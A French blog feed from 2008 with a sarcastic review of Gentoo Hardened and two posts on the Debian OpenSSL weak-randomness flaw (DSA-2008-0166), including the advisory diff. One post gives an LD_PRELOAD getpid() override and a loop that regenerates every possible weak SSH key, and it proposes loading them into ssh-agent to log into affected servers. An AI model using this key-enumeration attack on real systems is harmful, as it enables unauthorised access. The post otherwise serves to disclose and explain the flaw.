This feed contains pages in the "sux" category.
Je suis en train d'évaluer quelques distributions dîtes sécurisées, et la première à laquelle je me suis intéressé est Gentoo Hardened.
C'est la distribution qui semble la plus "maintenue", avec une quantité de "paquets" importante et une base d'utilisateurs importante, sa communauté semble bien étoffée par des personnes telles que Solar Designer ou même pageexec.
De plus, pas mal de personnes que je respecte utilise cette distribution, ca doit pas être si mauvais ?
Attention, j'ai essayé de tester le truc en restant en mode non-troll, j'ai vraiment essayé, je le jure... Mes critères de jugement ont été les suivants : imaginons que je sois le sysadmin d'une moyenne entreprise avec un parc d'une trentaine de serveurs hétérogènes en architecture, modèle, technologie (une pré-image d'installation unique est donc impossible).
Le seul critère (subjectif) qui compte, c'est l'efficacité du truc.
Installation
Wahoo. Comment dire, si on vient du monde Linux (par opposition aux installs BSD), l'installation est loin d'être une promenade de santé, tout est très spartiate.
Autant il est facile d'installer une Debian en moins de 20 minutes, autant c'est impossible avec une Gentoo. Quand bien même c'était ma 3ème installation comparé à la centaine de Debian que j'ai pû mettre en place, il est impossible de faire aussi efficace qu'un Debian-Installer (mon seul référentiel).
Et puis tout irait bien si ça c'était bien passé, ça aurait été trop facile. Eh ben non! Tout a pété avec leurs maudits "Broken packages" ou "Masked package". Heureusement, je testais dans une machine virtuelle donc j'étais confortablement installé dans mon fauteuil, à une température correcte, en tee-shirt+caleçon (oui, c'est mon bleu de travail favori) et surtout, j'avais un navigateur Web pour regarder la documentation, bug reports et mailing list. Je n'imagine même pas en salle machine, coinçé entre deux rangées de baies où les ventilateurs expulsent l'air chaud dans le dos alors que je tape sur un KVM merdique mi-azerti, mi-dvorak, mi-stupide (oui ça fait 3/2 tout ça, mais les KVM ont un nombre bizarre de touches).
À l'issu de l'install, je me réconfortais en me disant qu'au moins, j'aurais vraiment le strict minimum installé.
localhost ~ # df -h
Filesystem Size Used Avail Use% Mounted on
/dev/hda1 37G 2.4G 33G 7% /
udev 10M 100K 10M 1% /dev
shm 60M 0 60M 0% /dev/shm
Oups. Disk usage failed! WTF? J'imagine que ce sont les sources, portage ou je ne sais quoi qui sont supprimables sans problème, mais je suis pourtant sûr d'avoir suivi le Gentoo Handbook à la lettre (sinon je m'en sortais jamais), comment est-ce possible d'en arriver à 2.4 Go !
Dans les trucs qui choquent encore, c'est que la liste des terminaux graphiques reconnus est vraiment "light", si vous vous connectez en ssh à partir d'un terminal rxvt-unicode, vous vous retrouverez avec un shell ne permettant pas d'utiliser vim, quelques shortcuts comme ^L, etc. Ca coûte rien qu'ils soient installé par défaut for god sake!
Passons à la configuration.
Configuration du système
Conf système et réseau
Le réseau... Comment on configure ce truc? Me dites pas que... Bienvenue dans les années 70, avec les adresses, routes et gateway dans des variables d'environnement sourcées par les scripts /etc/rc*.
Et si! Il est vrai que sur un serveur, c'est peut-être largement suffisant, mais si on considère le cas d'un routeur, ou d'un serveur un peu bizarre (machines virtuelles) avec des bridges et vlans c'est ingérable. On en revient alors à écrire un script qui fait tout ça, mais c'est tout autant ingérable, le /etc/network/interfaces que je connais sous Debian est irréprochable sur ce coup, en particulier quand on a lu sa doc.
La création d'utilisateur est resté BSDienne avec un useradd où il faut connaître par coeur toutes les options de ligne de commande sous peine de revenir éditer les fichiers passwd et shadow à la main. Le adduser Debian est peut-être écrit en Perl, mais il est pratique.
On voulait un système durçi, va falloir recompiler le noyau pour activer toutes les options de sécurité (PaX, Grsecurity, SELinux). C'est là où je me dis que finalement, make-kpkg, c'est vachement bien : en tant qu'administrateur conscencieux, on aurait compilé le noyau du serveur sur une autre machine et on aurait utilisé un scp tout crassou vers le serveur après ? Holly sh*t. Y a des tas de façons de se louper quelque part...
Mais en bon seigneur, j'avoue avoir bien aimé le /etc/modules.autoload.d/ qui permet de spécifier les modules à charger au boot, simple, clair, efficace.
Light is right, uh?
Ouch, quel sens du mauvais goût ! Le seul éditeur texte qui est installé par défaut est nano, ok, il y a toujours la vieille querelle vi-emacs, en tant qu'utilisateur des deux, je hais nano, passons.
Travail de base, protégeons au minimum la machine en écrivant quelques règles de firewall :
# iptables
bash: iptables: command not found
Youpi! Quand je vous disais que c'était une installation light! Y a plus qu'à downloader les sources et dépendances, heureusement que c'est pas un Windows XP SP1 branché en live sur un modem ADSL, sa durée de vie serait pas longue...
Ça permet alors de se faire une première idée du système de package, emerge. C'est un autre style : y a des smileys partout, c'est super verbeux, y a des jolis choix de couleurs (non c'est une blague).
Vu que j'y comprends rien, je me mets à lire la page de manuel et qu'est-ce qu'on peut lire : Les dépendances inverses ne sont pas gérées, si je comprends bien, je peux très bien supprimer la zlib sans qu'emerge ne s'en émeuve ? F34r.
Et on continue sur les rebondissements, on se retrouve à réaliser des workarounds tels que ceux-ci (indiqués dans le handbook) :
# emerge checkpolicy policycoreutils # FEATURES=-selinux emerge selinux-base-policy
Enfin ça, c'est ce qu'il y a marqué car je n'ai jamais réussi à déployer le bousin, j'obtiens toujours un truc comme ça :
localhost ~ # FEATURES=-selinux emerge selinux-base-policy
Calculating dependencies |
!!! All ebuilds that could satisfy ">=sys-apps/checkpolicy-1.30.12" have been masked.
!!! One of the following masked packages is required to complete your request:
- sys-apps/checkpolicy-1.34.4 (masked by: package.mask, ~amd64 keyword)
/usr/portage/profiles/default/linux/package.mask:
# Shouldn't be merging these SELinux packages on this profile
# but this keeps repoman happy since they require >=glibc-2.4
# 20061009 pebenito
- sys-apps/checkpolicy-1.34.3 (masked by: package.mask, ~amd64 keyword)
- sys-apps/checkpolicy-1.34.0 (masked by: package.mask)
For more information, see MASKED PACKAGES section in the emerge man page or
refer to the Gentoo Handbook.
(dependency required by "sec-policy/selinux-base-policy-20070928" [ebuild])
J'ai beau eu modifier plusieurs fichiers, je tombe toujours sur une erreur fatale. Alors que j'ai suivi toute la procédure.
Je vous laisse le meilleur pour la fin, la gestion des mises à jour des fichiers de configuration expliquée par la page de manuel :
When Portage installs a file into a protected directory tree like /etc, any
existing files will not be overwritten. If a file of the same name already
exists, Portage will change the name of the to-be-installed file from 'foo' to
'._cfg0000_foo'. If '._cfg0000_foo' already exists, this name becomes
'._cfg0001_foo', etc. In this way, existing files are not overwritten, allowing
the administrator to manually merge the new config files and avoid any
unexpected changes.
Soyons honnête, heureusement qu'il existe des outils qui aident comme l'indique le man :
Tools such as dispatch-conf, cfg-update, and etc-update are also available to
aid in the merging of these files. They provide interactive merging and can
auto-merge trivial changes.
Finalement, ce test qui devait être "juste" s'est transformé en un joli bash en règle alors qu'il y a plein de trucs intéressants dans cette distribution. Désolé.
Posted Sun 01 Jun 2008 11:11:53 PM CEST
$ cat > fakegetpid.c
#include <sys/types.h>
#include <unistd.h>
pid_t getpid(void) {
return 1;
}
^D
$ gcc -shared fakegetpid.c -o fakegetpid.so
$ LD_PRELOAD=$PWD/fakegetpid.so ssh-keygen -t rsa -N '' -f
% ssh-keygen -f foobar -t rsa -N ''
Generating public/private rsa key pair.
Your identification has been saved in foobar.
Your public key has been saved in foobar.pub.
The key fingerprint is:
a9:65:93:0d:02:1d:e4:43:03:da:06:ab:24:73:13:7e foo@bar
% ssh-keygen -f foobar -t rsa -N ''
Generating public/private rsa key pair.
foobar already exists.
Overwrite (y/n)? y
Your identification has been saved in foobar.
Your public key has been saved in foobar.pub.
The key fingerprint is:
a9:65:93:0d:02:1d:e4:43:03:da:06:ab:24:73:13:7e foo@bar
Les deux fingerprints sont identiques !
Donc si je résume, la seule graine d'aléa est en fait le PID du processus. Ce qui signifie qu'il n'existe que 2^32 bits possibilités de clef sur x86, bruteforcons... pendant 400 ans.
$ cat > fakegetpid.c
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>
pid_t getpid(void) {
pid_t fakepid;
fakepid = atoi(getenv("FAKEPID"));
return fakepid;
}
^D
$ gcc -shared fakegetpid.c -o fakegetpid.so
% export FAKEPID
% for FAKEPID in $(seq 0 $((2**32))); do
LD_PRELOAD=$PWD/getpid.so ssh-keygen -t rsa -N '' -f foo.$((FAKEPID)) |grep foo@bar
done
70:e2:6b:54:e8:46:b7:64:b7:9a:d6:a8:5d:3e:41:2f foo@bar
65:23:e0:30:76:cb:9c:f6:a9:72:64:1c:f0:4d:90:b9 foo@bar
fd:21:36:80:2b:df:ac:e8:09:7a:2d:62:cc:38:88:ec foo@bar
17:e5:ba:34:97:1d:2f:63:be:0a:7e:25:eb:3c:b0:fb foo@bar
bd:6f:c2:ca:3f:ad:49:d1:4b:20:ac:6f:27:35:5a:0d foo@bar
a6:9b:60:e0:ce:13:9b:68:6a:36:60:3e:60:82:62:2c foo@bar
ca:d7:2f:8f:c0:42:12:df:d2:5f:78:41:86:6e:63:0e foo@bar
29:ea:08:3a:61:91:55:e9:cb:93:46:b2:55:cc:87:e6 foo@bar
b5:6d:f1:3f:47:ce:ab:11:d1:1a:6f:0f:e6:a5:04:8d foo@bar
13:c2:e7:0f:f1:cf:a8:22:8f:7b:a4:b0:f3:83:64:25 foo@bar
Ensuite, vous loadez toutes ces clefs dans votre ssh-agent et boum!
Update@23:04: H D Moore s'en mêle et a eu la même idée, sauf que lui n'a pas oublié que les PID étaient sur 15 bits et pas sur 32 bits, soient 32 768 possibilités ce que j'avais réussi à calculer en quatre heures (j'ai pas 31 Xeon moi !).
Pour ceux que ça intéresse, je suis sur le point d'avoir les clefs pour 0 < PID < 300 000. Ok, ca n'a aucun intérêt.
Posted Wed 14 May 2008 01:28:34 PM CESTOMG ! Le DSA-2008-0166 qui vient de sortir est peut-être l'un des pire jamais existé. Sa conclusion est assez claire :
It is strongly recommended that all cryptographic key material which has
been generated by OpenSSL versions starting with 0.9.8c-1 on Debian
systems is recreated from scratch.
Si on fait un interdiff avec la version précédente, on obtient ça :
diff -u openssl-0.9.8c/crypto/rand/md_rand.c openssl-0.9.8c/crypto/rand/md_rand.c
--- openssl-0.9.8c/crypto/rand/md_rand.c
+++ openssl-0.9.8c/crypto/rand/md_rand.c
@@ -271,10 +271,7 @@
else
MD_Update(&m,&(state[st_idx]),j);
-/*
- * Don't add uninitialised data.
MD_Update(&m,buf,j);
-*/
MD_Update(&m,(unsigned char *)&(md_c[0]),sizeof(md_c));
MD_Final(&m,local_md);
md_c[1]++;
diff -u openssl-0.9.8c/debian/changelog openssl-0.9.8c/debian/changelog
--- openssl-0.9.8c/debian/changelog
+++ openssl-0.9.8c/debian/changelog
@@ -1,3 +1,19 @@
+openssl (0.9.8c-4etch3) stable-security; urgency=high
+
+ * Re-introducing seeding of the random number generator. Patch from the
+ maintainer.
+
+ -- Florian Weimer <fw@deneb.enyo.de> Thu, 08 May 2008 01:58:40 +0200
+
WTF ? Pourquoi le maintaineur Debian modifie le code en lui-même ? Autant je comprends qu'il le fasse quand ça l'arrange pour le packaging, mais ce n'est pas son rôle de "corriger" le code tout seul comme un grand. Tout pour ça pour corriger un bug esthétique !
J'entends d'ici Theo De Raadt qui rigole.
Ubuntun, rigolez pas, vous êtes autant vulnérable.
Posted Tue 13 May 2008 03:16:57 PM CEST